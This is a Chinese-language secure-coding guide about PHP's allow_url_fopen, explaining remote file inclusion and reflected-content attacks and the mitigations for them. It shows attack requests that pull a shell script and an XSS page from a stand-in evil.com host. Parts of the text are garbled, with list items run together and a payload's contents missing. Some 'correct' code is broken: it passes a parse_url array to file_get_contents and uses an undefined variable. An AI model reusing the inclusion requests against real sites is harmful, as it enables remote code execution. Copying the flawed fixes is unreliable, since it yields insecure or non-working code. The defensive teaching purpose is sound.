PHP allow_url_fopen 預設開啟,讓 file_get_contents()、fopen()、include() 等檔案系統函數能直接操作 HTTP/FTP 等遠端資源:
<?php
$contents = file_get_contents('https://www.example.com/'); // 合法用法
?>
當使用者可控資料直接作為檔案路徑參數:
<?php
// 極度危險!
$contents = file_get_contents($_GET['filename']);
?>
攻擊者請求:https://example.org/file.php?filename=https://evil.com/shell.txt
include/require,攻擊者可執行任意 PHP 代碼echo file_get_contents($_GET['url']) 直接回顯遠端內容<?php
// 受害程式
$contents = file_get_contents($_GET['filename']);
echo $contents; // 直接輸出
// 攻擊請求
// GET /file.php?filename=https://evil.com/xss.html
// xss.html 內容:
// 結果: 受害者瀏覽器執行惡意腳本
?>
<?php
// ❌ 錯誤
$file = $_GET['file'];
include $file;
// ✅ 正確:白名單對照
$allowed = ['home', 'about', 'contact', 'dashboard'];
$page = $_GET['page'] ?? 'home';
if (!in_array($page, $allowed, true)) {
$page = 'home'; // 或 404
}
include __DIR__ . "/pages/{$page}.php";
<?php
$clean = [];
$html = [];
// 1. 來源驗證:白名單域名
$allowed_hosts = ['api.trusted.com', 'cdn.example.org'];
$url = parse_url($_GET['url'] ?? '');
if (!$url || !in_array($url['host'] ?? '', $allowed_hosts, true)) {
die('來源不受信任');
}
// 2. 取得內容
$contents = file_get_contents($url);
if ($contents === false) {
die('取得失敗');
}
// 3. 內容過濾:視為不可信輸入
$html['contents'] = htmlspecialchars($contents, ENT_QUOTES | ENT_HTML5, 'UTF-8');
echo $html['contents'];
; php.ini
allow_url_fopen = Off
allow_url_include = Off ; 必須關閉,防止 RFE
改用 cURL 套件,擁有更精細的控制(超時、憑證驗證、請求標頭、代理等)。
<?php
// 註冊自訂 stream wrapper 限制允許協議
stream_wrapper_unregister('http');
stream_wrapper_unregister('https');
stream_wrapper_unregister('ftp');
// 僅保留 file、php、data 等本地協議
?>
<?php
// 使用 Guzzle / Symfony HttpClient / PHP 8.1+ 内建 http client
$client = new \GuzzleHttp\Client([
'timeout' => 5.0,
'verify' => true, // 強制 TLS 憑證驗證
'allow_redirects' => ['max' => 3],
]);
try {
$response = $client->request('GET', $clean_url, [
'headers' => ['User-Agent' => 'MyApp/1.0'],
]);
$data = $response->getBody()->getContents();
// 處理 $data...
} catch (\GuzzleHttp\Exception\RequestException $e) {
// 統一錯誤處理
log_error($e->getMessage());
}
?>
allow_url_fopen 是雙面刃,預設開啟為歷史包袱